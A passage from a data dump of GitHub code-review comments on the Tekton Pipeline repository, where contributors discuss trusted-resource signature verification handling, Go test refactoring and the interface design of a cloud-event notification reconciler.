try that", "comment_id": 1207196548, "created_at": "2023-05-26T18:47:31Z", "line": 73, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Added ", "comment_id": 1207214979, "created_at": "2023-05-26T19:04:28Z", "line": 73, "path": "pkg/trustedresources/verify.go", "pr_number": 6724, "repo": "pipeline"} +{"author": "lbernick", "body": "should we remove the case `errors.Is(err, trustedresources.ErrResourceVerificationFailed)`? Also, is there a test for marking the PipelineRun failed when `GetPipelineData` returns a verificationResult w/ type VerificationError?", "comment_id": 1210701013, "created_at": "2023-05-30T18:57:52Z", "line": 422, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "This is to keep the pipelinerun.go behave like before, we have an error check above \r\n```\r\n\tcase errors.Is(err, trustedresources.ErrResourceVerificationFailed):\r\n\t\tmessage := fmt.Sprintf(\"PipelineRun %s/%s referred pipeline failed signature verification\", pr.Namespace, pr.Name)\r\n\t\tpr.Status.MarkFailed(ReasonResourceVerificationFailed, message)\r\n\t\treturn controller.NewPermanentError(err)\r\n```\r\nI just realized that I should remove that error check since we now rely on the VerificationResult. \r\n\r\nFor the test, yes, we have reconciler tests here: \r\nhttps://github.com/tektoncd/pipeline/blob/093517a03e52f357009a660edd7cd968b2da02a9/pkg/reconciler/pipelinerun/pipelinerun_test.go#L11619 \r\n\r\nThis can make sure if GetPipelineData returns a verificationResult w/ type VerificationError, the pipelinerun is marked as failed. \r\n\r\nI will openother PRs to update taskrun and pipelinerun code to check the VerificationResult and update conditions. ", "comment_id": 1210717564, "created_at": "2023-05-30T19:14:54Z", "line": 422, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "nit: add a TODO link to https://github.com/tektoncd/pipeline/issues/6666?", "comment_id": 1211847744, "created_at": "2023-05-31T14:50:25Z", "line": 114, "path": "pkg/reconciler/pipelinerun/resources/pipelineref.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "https://google.github.io/styleguide/go/decisions#got-before-want\n\n```suggestion\n\t\t\tgotPipeline, gotSource, gotVerificationResult, gotErr := fn(ctx, pipelineRef.Name)\n```", "comment_id": 1211869748, "created_at": "2023-05-31T15:05:10Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "This part is a bit hard to understand. Instead of comparing all fields of `VerificationResult` individually, can we define a custom Comparer option for `VerificationResult` type and then just use `cmp.Diff`? See example https://github.com/google/go-cmp/issues/172#issuecomment-554799004.\n\nThis will clean up the comparison and also help when we want to introduce more subfields to `VerificationResult` in future.", "comment_id": 1211885010, "created_at": "2023-05-31T15:16:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "https://google.github.io/styleguide/go/decisions#got-before-want\n```suggestion\n\t\twantPipeline runtime.Object\n\t\twantRefSource *v1beta1.RefSource\n\t\twantExpectedVerificationResult *trustedresources.VerificationResult\n\t}{{\n```", "comment_id": 1211889483, "created_at": "2023-05-31T15:19:06Z", "line": 580, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "This part can be cleaned up by writing the custom Comparer option as mentioned above.", "comment_id": 1211891702, "created_at": "2023-05-31T15:20:19Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "chuangw6", "body": "\n```suggestion\n\t\t\t_, _, gotVerificationResult, err := fn(ctx, pipelineRef.Name)\n```", "comment_id": 1211896082, "created_at": "2023-05-31T15:22:40Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Thanks! Good suggestion !", "comment_id": 1211935669, "created_at": "2023-05-31T15:43:58Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I just tried it out, it probably doesn't work here, since we use errors.Is to compare and it is not a symmetric comparison , thus will return `non-deterministic or non-symmetric function detected: func1 `. It should be possible to fix but I think maybe we don't invest time and efforts on that?", "comment_id": 1211950958, "created_at": "2023-05-31T15:54:56Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will update this in another PR for all trusted resources tests", "comment_id": 1212069878, "created_at": "2023-05-31T17:36:12Z", "line": 580, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I found a very weird issue:\r\nhttps://go.dev/play/p/OGHzFnfOpBh\r\nI think we want to compare the Err field instead of the struct, since VerificationResult is not an error struct.\r\nBut we compare the err directly will get error. \ud83e\udd14 ", "comment_id": 1212121614, "created_at": "2023-05-31T18:18:15Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "updated", "comment_id": 1212152589, "created_at": "2023-05-31T18:40:52Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think d3 is what we want and it works. \r\nhttps://go.dev/play/p/CXBSiXKlvW_r?v=goprev", "comment_id": 1212180126, "created_at": "2023-05-31T18:59:14Z", "line": null, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6736, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Want to confirm, when we swap to v1, the *v1beta1.RefSource here needs to be swapped to *v1.RefSource?\r\n\r\nIf so, does it make sense to keep in the same PR with v1 swap or a separate?", "comment_id": 1212270867, "created_at": "2023-05-31T20:24:14Z", "line": 74, "path": "pkg/trustedresources/verify.go", "pr_number": 6738, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh, I thought you're asking resource version. \r\nThis needs to be updated to v1.RefSource. It is ok to update it in the swap PR", "comment_id": 1212274005, "created_at": "2023-05-31T20:27:26Z", "line": 74, "path": "pkg/trustedresources/verify.go", "pr_number": 6738, "repo": "pipeline"} +{"author": "chuangw6", "body": "move this line to the default case of the switch statement?", "comment_id": 1213762697, "created_at": "2023-06-01T23:07:22Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6738, "repo": "pipeline"} +{"author": "chuangw6", "body": "This code chunk repeats in all 4 switch cases. We can change the function `prepareObjectMeta` \r\n\r\nfrom accepting struct\r\n```go\r\nfunc prepareObjectMeta(in metav1.ObjectMeta) (metav1.ObjectMeta, []byte, error) {\r\n```\r\nto accepting interface\r\n```go\r\nfunc prepareObjectMeta(in metav1.Object) (metav1.ObjectMeta, []byte, error) {\r\n```\r\n\r\nThis way, we can avoid duplicate code by moving this out of switch statement.", "comment_id": 1213769945, "created_at": "2023-06-01T23:21:43Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6738, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Oh thanks! Great suggestion", "comment_id": 1213774431, "created_at": "2023-06-01T23:29:24Z", "line": null, "path": "pkg/trustedresources/verify.go", "pr_number": 6738, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this code block is just move the previous test code into the for loop, and use the noMatchPolicy and verificationPolicies from the tests", "comment_id": 1212294089, "created_at": "2023-05-31T20:47:55Z", "line": 11638, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6754, "repo": "pipeline"} +{"author": "chuangw6", "body": "The `prs` seems not to change for different test cases. Can we define it outside of the for loop?", "comment_id": 1213559396, "created_at": "2023-06-01T19:00:25Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6754, "repo": "pipeline"} +{"author": "chuangw6", "body": "same for the `tr`", "comment_id": 1213559690, "created_at": "2023-06-01T19:00:44Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6754, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "ah I intentionally moved it inside the loop before cuz there are some issues, but now it passes. So moved it out of the loop. ", "comment_id": 1213601124, "created_at": "2023-06-01T19:38:26Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6754, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "done", "comment_id": 1213601195, "created_at": "2023-06-01T19:38:32Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6754, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "There are duplicate messages, will clean up the error handling when the feature is done, added an item https://github.com/tektoncd/pipeline/issues/6356", "comment_id": 1213764181, "created_at": "2023-06-01T23:09:27Z", "line": 4966, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "this may not be the best place to put the ConditionType. But I don't know if there are any other places better than this ", "comment_id": 1213765451, "created_at": "2023-06-01T23:12:10Z", "line": 44, "path": "pkg/trustedresources/verify.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "lbernick", "body": "```suggestion\r\n\t\tMessage: fmt.Sprintf(\"failed to get verifiers for resource %s from namespace %s: %s\", ts.Name, ts.Namespace, verifier.ErrEmptyPublicKeys),\r\n```", "comment_id": 1218469400, "created_at": "2023-06-05T18:57:17Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun_test.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "can this not be the default?", "comment_id": 1218577427, "created_at": "2023-06-05T20:49:01Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "The same `switch-case` seems to be repeated. Can this be wrapped into a function to avoid repitition?", "comment_id": 1218578870, "created_at": "2023-06-05T20:50:53Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "There are 3 places using the same switch, 2 on pipelinerun and 1 on taskrun. The 2 pipelinerun returns are different. \r\nDo you have any suggestions? \ud83e\udd14 ", "comment_id": 1218582735, "created_at": "2023-06-05T20:55:49Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Did you mean something like this? \r\n```\r\nswitch verificationResult.VerificationResultType {\r\ncase trustedresources.VerificationError:\r\nxxx\r\ncase trustedresources.VerificationWarn:\r\nxxx\r\ncase trustedresources.VerificationPass:\r\nxxx\r\ndefault:\r\n```", "comment_id": 1218587754, "created_at": "2023-06-05T20:59:08Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "yes. Because that condition was not doing anything. However, it is clearer for readability compared to `default` so I'm ok with leaving this as is too.", "comment_id": 1218588517, "created_at": "2023-06-05T20:59:59Z", "line": null, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "let me try out, I think we could wrap it into a function", "comment_id": 1218590878, "created_at": "2023-06-05T21:02:59Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "The PipelineRuns returns only seem to be happening for the case of `verificationError`. In one case, you return `controller.New...` and in other case you return `nil, controller.New...`. \r\n\r\nWhat if this function returned `error, conditionToSet`? You could catch that and handle it in both cases?", "comment_id": 1218591358, "created_at": "2023-06-05T21:03:39Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Something like?\r\n```go\r\nfunc Verify(verificationResult ) (error, apis.Condition){\r\n var condition apis.Condition\r\n var err error\r\n \r\n switch verificationResult.VerificationResultType {\r\n \t\tcase trustedresources.VerificationError:\r\n \t\t\terr := fmt.Errorf(\"PipelineRun %s/%s referred pipeline failed signature verification: %w\", pr.Namespace, pr.Name, verificationResult.Err)\r\n \t\t \t\r\n// add this line after the output of the function\r\n// pr.Status.MarkFailed(ReasonResourceVerificationFailed, err.Error())\r\n \t\t\tcondition = &apis.Condition{\r\n \t\t\t\tType: trustedresources.ConditionTrustedResourcesVerified,\r\n \t\t\t\tStatus: corev1.ConditionFalse,\r\n \t\t\t\tMessage: err.Error(),\r\n \t\t\t}\r\n// add this line after the output of the function\r\n // return controller.NewPermanentError(err)\r\n \t\tcase trustedresources.VerificationSkip:\r\n \t\t\t// do nothing\r\n \t\tcase trustedresources.VerificationWarn:\r\n \t\t\tcondition = &apis.Condition{\r\n \t\t\t\tType: trustedresources.ConditionTrustedResourcesVerified,\r\n \t\t\t\tStatus: corev1.ConditionFalse,\r\n \t\t\t\tMessage: verificationResult.Err.Error(),\r\n \t\t\t}\r\n// set the condition when you catch the output of the function\r\n \t\tcase trustedresources.VerificationPass:\r\n \t\t\tcondition = apis.Condition{\r\n \t\t\t\tType: trustedresources.ConditionTrustedResourcesVerified,\r\n \t\t\t\tStatus: corev1.ConditionTrue,\r\n \t\t\t}\r\n \t\t}\r\n \t\treturn err, condition\r\n}\r\n\r\n\r\nerr, cond := Verify(verificationResult)\r\npr.Status.SetCondition(&cond)\r\nif err != nil {\r\n pr.Status.MarkFailed(ReasonResourceVerificationFailed, err.Error())\r\n return controller.NewPermanentError(err)\r\n}\r\n\r\n```", "comment_id": 1218594721, "created_at": "2023-06-05T21:07:54Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "\u261d\ufe0f is how you would use it well.", "comment_id": 1218596438, "created_at": "2023-06-05T21:10:05Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "chitrangpatel", "body": "Does that work?", "comment_id": 1218596515, "created_at": "2023-06-05T21:10:11Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yeah this should work, just pushed the code.", "comment_id": 1218601826, "created_at": "2023-06-05T21:16:32Z", "line": 428, "path": "pkg/reconciler/pipelinerun/pipelinerun.go", "pr_number": 6757, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "The tests in this PR are all copied from current v1beta1 tasks. I tried to merge them into 1 test but seems not so straightforward. Maybe the easiest way for now is to have separate tests? Any suggestions are welcome ", "comment_id": 1214579749, "created_at": "2023-06-02T16:24:06Z", "line": 1018, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "JeromeJu", "body": "wondering if we shall also verify here after converting into v1 Task?", "comment_id": 1218348220, "created_at": "2023-06-05T17:00:04Z", "line": 178, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "I don't know if we support verification policies for cluster tasks? Do we?", "comment_id": 1218354061, "created_at": "2023-06-05T17:05:35Z", "line": 178, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "We don't support cluster task. Only v1beta1 task pipeline and v1 task pipeline when those 2 pr merged. ", "comment_id": 1218366587, "created_at": "2023-06-05T17:16:48Z", "line": 178, "path": "pkg/reconciler/taskrun/resources/taskref.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "I'm guessing this tests might change a bit once we swap the storage version to v1 - I think it's worth checking them to see if we can merge the tests or at least come up with a few helper methods to reduce the amount of copied code between tests", "comment_id": 1218374086, "created_at": "2023-06-05T17:24:41Z", "line": 1018, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "shouldn't this be $(params.myarg) - not that it matters for the test itself?", "comment_id": 1218375174, "created_at": "2023-06-05T17:25:39Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "same as above", "comment_id": 1218376761, "created_at": "2023-06-05T17:26:43Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "oh yes, let me fix this. Yeah it doesn't matter for the test, we just need a task which doesn't fail", "comment_id": 1218390864, "created_at": "2023-06-05T17:38:44Z", "line": null, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "is there a reason we are using a v1beta1TaskRun and not a v1TaskRun?", "comment_id": 1218394016, "created_at": "2023-06-05T17:42:18Z", "line": 5356, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "Yes, I will pair with @JeromeJu on fixing the tests for the swap PR. \r\nI tried to merge the v1 tests into v1beta1 tests but it still requires lots of test code changes. But helper functions may help. ", "comment_id": 1218394437, "created_at": "2023-06-05T17:42:52Z", "line": 1018, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "yes, for now in https://github.com/tektoncd/pipeline/blob/4924b5162b1ec5fbcd14ad13d5436a609e0b4b91/test/controller.go#L68-L71 we only support v1beta1 taskrun. The swap PR will change this to v1", "comment_id": 1218434567, "created_at": "2023-06-05T18:20:58Z", "line": 5356, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "JeromeJu", "body": "currently in #6444 we are swapping to v1, so maybe we should keep both in either case?", "comment_id": 1218454955, "created_at": "2023-06-05T18:43:25Z", "line": 5356, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "lbernick", "body": "I think this is fine-- a v1beta1 TaskRun can reference a v1 Task, and it looks like this is correctly testing that case and will be swapped to a v1 TaskRun in Jerome's PR. @Yongxuanzhang can you update the existing test class names to indicate that they're resolving a v1beta1 Task? @JeromeJu just make sure your PR doesn't change the test cases referencing a v1beta1 Task, otherwise they will become redundant with this test case.", "comment_id": 1218582913, "created_at": "2023-06-05T20:56:03Z", "line": 5356, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "lbernick", "body": "This could be tackled as part of https://github.com/tektoncd/pipeline/issues/5820", "comment_id": 1218586136, "created_at": "2023-06-05T20:57:46Z", "line": 1018, "path": "pkg/reconciler/taskrun/resources/taskref_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "JeromeJu", "body": "Thanks @lbernick , I left all v1beta1 verifications as they are in both unit tests and e2e tests, only modifying the apiVersion of the pr/tr referencing the v1beta1 pipeline/task.", "comment_id": 1219780302, "created_at": "2023-06-06T14:40:55Z", "line": 5356, "path": "pkg/reconciler/taskrun/taskrun_test.go", "pr_number": 6764, "repo": "pipeline"} +{"author": "dibyom", "body": "what does warnVP signify?", "comment_id": 1218347016, "created_at": "2023-06-05T16:59:27Z", "line": 913, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6765, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "it means warn mode verification policy, we have a [warn mode policy](https://github.com/tektoncd/pipeline/blob/4924b5162b1ec5fbcd14ad13d5436a609e0b4b91/test/trustedresources.go#L192) and the pattern is `warnVP` from `vps(verification policies)`. \r\nSo this warnPolicyRefSource could match that policy for testing", "comment_id": 1218357924, "created_at": "2023-06-05T17:09:41Z", "line": 913, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6765, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I will refactor the tests code later when feature PRs are merged. So we could improve the test readability. ", "comment_id": 1218359043, "created_at": "2023-06-05T17:10:52Z", "line": 913, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6765, "repo": "pipeline"} +{"author": "JeromeJu", "body": "does it make sense to have also testing with v1UnsignedPipeline/ v1Signed? \r\n\r\nthis also felt like something we might be able to use as a helper function for the taskRef verification PR as well?", "comment_id": 1218463344, "created_at": "2023-06-05T18:52:02Z", "line": 824, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6765, "repo": "pipeline"} +{"author": "Yongxuanzhang", "body": "I think this test is testing v1UnsignedPipeline and v1signed? The `v1beta1UnsignedPipeline` is used to check the `resolvedTask` is expected (refer to a v1 task, verify and convert the v1 task, then return a v1beta1 task).", "comment_id": 1218470486, "created_at": "2023-06-05T18:58:45Z", "line": 824, "path": "pkg/reconciler/pipelinerun/resources/pipelineref_test.go", "pr_number": 6765, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is needed so that `PipelineRun` may implement the `RunObject` interface", "comment_id": 1246901749, "created_at": "2023-06-29T16:56:21Z", "line": null, "path": "pkg/apis/pipeline/v1/pipelinerun_types.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "`PipelineRuns` do not have retries, so splitting `GetRetryCount` out to a separate interface", "comment_id": 1246903245, "created_at": "2023-06-29T16:57:37Z", "line": 47, "path": "pkg/apis/pipeline/v1beta1/run_interface.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "Coverage for this module is provided indirectly by the tests in `runtimeobject_test` and in the `customrun` folder.\r\nI could add some tests here, but I'm not convinced they would add too much value.", "comment_id": 1246906895, "created_at": "2023-06-29T17:00:54Z", "line": 1, "path": "pkg/reconciler/notifications/controller.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "`RunObject` was introduced for remote resolution but it's not used anymore anywhere.\r\nIt is still very useful for the events controller though, except for the `GetRetryCount`, which I moved to a different interface. ", "comment_id": 1258177964, "created_at": "2023-07-10T12:28:32Z", "line": 26, "path": "pkg/apis/pipeline/v1beta1/run_interface.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "I think this one is supposed to be deleted.", "comment_id": 2930376111, "created_at": "2026-03-13T10:36:20Z", "line": 12945, "path": "docs/pipeline-api.md", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "```suggestion\n// IsSuccessful returns true if the PipelineRun's status indicates that it has succeeded.\n```", "comment_id": 2930455546, "created_at": "2026-03-13T10:53:40Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/pipelinerun_types.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "```suggestion\n// RunObjectWithRetries is implemented by Run and CustomRun\n```", "comment_id": 2930497901, "created_at": "2026-03-13T11:02:37Z", "line": null, "path": "pkg/apis/pipeline/v1beta1/run_interface.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "```suggestion\nCopyright 2026 The Tekton Authors\n```", "comment_id": 2930544560, "created_at": "2026-03-13T11:13:01Z", "line": 2, "path": "pkg/reconciler/notifications/customrun/controller_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "```suggestion\nCopyright 2026 The Tekton Authors\n```", "comment_id": 2930565396, "created_at": "2026-03-13T11:17:41Z", "line": null, "path": "pkg/reconciler/notifications/controller.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "Now that it's generic this should be set generically too => `\"customRun %s,`. You probably want to use `readOnlyRun.GetObjectKind().GroupVersionKind().Kind` instead of `customRun`.", "comment_id": 2930664234, "created_at": "2026-03-13T11:39:30Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "This comments is probably a copy/paste artifact.", "comment_id": 2930737325, "created_at": "2026-03-13T11:54:41Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "I think the naming is a bit misleading, it's not a Reconciler interface. I would shrink and rename the interface and get rid of the setters:\n\n```go\n// pkg/reconciler/notifications/runtimeobject.go#L34\n// EventClientsProvider provides read access to cloud event dependencies\ntype EventClientsProvider interface {\n GetCloudEventsClient() cloudevent.CEClient\n GetCacheClient() *lru.Cache\n}\n```\n\nThen I'd replace `ReconcilerFromContext` with a factory function `EventClientsFromContext` that returns both clients and use it in `customrun/controller.go` and remove the setters from `customrun/reconciler.go` :\n\n```go\n// pkg/reconciler/notifications/controller.go#L39\n// EventClientsFromContext extracts the cloud event clients from the context.\nfunc EventClientsFromContext(ctx context.Context) (cloudevent.CEClient, *lru.Cache) {\n return cloudeventclient.Get(ctx), cacheclient.Get(ctx)\n}\n\n// pkg/reconciler/notifications/customrun/controller.go#L34\nfunc NewController() func(context.Context, configmap.Watcher) *controller.Impl {\n return func(ctx context.Context, cmw configmap.Watcher) *controller.Impl {\n configStore := notifications.ConfigStoreFromContext(ctx, cmw)\n\n ceClient, cacheClient := notifications.EventClientsFromContext(ctx)\n c := &Reconciler{\n cloudEventClient: ceClient,\n cacheClient: cacheClient,\n }\n\n impl := customrunreconciler.NewImpl(ctx, c, notifications.ControllerOptions(controllerName, configStore))\n // ... informer setup\n }\n}\n\n// pkg/reconciler/notifications/customrun/reconciler.go#L44 <= remove\n// pkg/reconciler/notifications/customrun/reconciler.go#L48 <= remove\n\n```", "comment_id": 2930779550, "created_at": "2026-03-13T12:03:08Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "`*RuntimeObject` is confusable with `k8s.io/apimachinery/pkg/runtime.Object`. The param is `v1beta1.RunObject` => `RunObject`.\r\n\r\nI think a better name would be `EmitCloudEventsForRunObject` or just `EmitCloudEvents`.", "comment_id": 2930784318, "created_at": "2026-03-13T12:04:06Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "The name is a bit misleading. It should probably be:\n\n\n```go\nInjectEventClients(ctx, c EventClientConfigurer)\n\n// OR\nConfigureEventClients(ctx, c)\n```", "comment_id": 2930794210, "created_at": "2026-03-13T12:06:08Z", "line": null, "path": "pkg/reconciler/notifications/controller.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "No need to export if it's not used anywhere else.", "comment_id": 2932575259, "created_at": "2026-03-13T17:00:44Z", "line": null, "path": "pkg/reconciler/notifications/customrun/controller.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "Remove commented import.", "comment_id": 2932792284, "created_at": "2026-03-13T17:38:21Z", "line": null, "path": "pkg/reconciler/notifications/customrun/reconciler_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "This does not look right. I guess for testing the customRun events/notification reconciler you want to use the [`ReconcileKind`](https://github.com/twoGiants/tekton-pipeline/blob/cb7706451c4fa76fdc500d1512515c218e3d2779/pkg/reconciler/notifications/customrun/reconciler.go#L58) method as a testing entry point.\n\nSame applies to the tests below.", "comment_id": 2932824699, "created_at": "2026-03-13T17:43:44Z", "line": null, "path": "pkg/reconciler/notifications/customrun/reconciler_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "You can get rid of those if you implement the proposed interface changes.", "comment_id": 2932836750, "created_at": "2026-03-13T17:45:48Z", "line": null, "path": "pkg/reconciler/notifications/testing/assets.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "This is generated, it will be fixed by fixing your comment on run_interface", "comment_id": 2939688599, "created_at": "2026-03-16T11:11:37Z", "line": 12945, "path": "docs/pipeline-api.md", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "Yeah, I like the idea of removing the setters, the duplication in the controller code is minimal and the interface stays cleaner", "comment_id": 2939931671, "created_at": "2026-03-16T12:02:44Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "ok, I have to export the cloudEventClient and cacheClient then so they can be accessible from the test package", "comment_id": 2940292566, "created_at": "2026-03-16T13:11:39Z", "line": null, "path": "pkg/reconciler/notifications/customrun/reconciler_test.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "It looks like the tool that generates this file is broken. \nI can try and fix it, but I'd rather do it in a separate PR. Do you want me to manually edit this for now?", "comment_id": 2940512433, "created_at": "2026-03-16T13:50:19Z", "line": 12945, "path": "docs/pipeline-api.md", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "The name is wrong indeed, I used `Runtime` instead of `Run` \ud83e\udd26 \r\nI'd prefer to keep it `ReconcileRunObject` though.", "comment_id": 2940893517, "created_at": "2026-03-16T14:52:43Z", "line": null, "path": "pkg/reconciler/notifications/runtimeobject.go", "pr_number": 6889, "repo": "pipeline"} +{"author": "afrittoli", "body": "https://github.com/tektoncd/ahmetb-gen-crd-api-reference-docs/pull/3", "comment_id": 2940899329, "created_at": "2026-03-16T14:53:43Z", "line": 12945, "path": "docs/pipeline-api.md", "pr_number": 6889, "repo": "pipeline"} +{"author": "twoGiants", "body": "I'd prefer to create a factory function instead of using public fields and use it in the `controller.go` and the 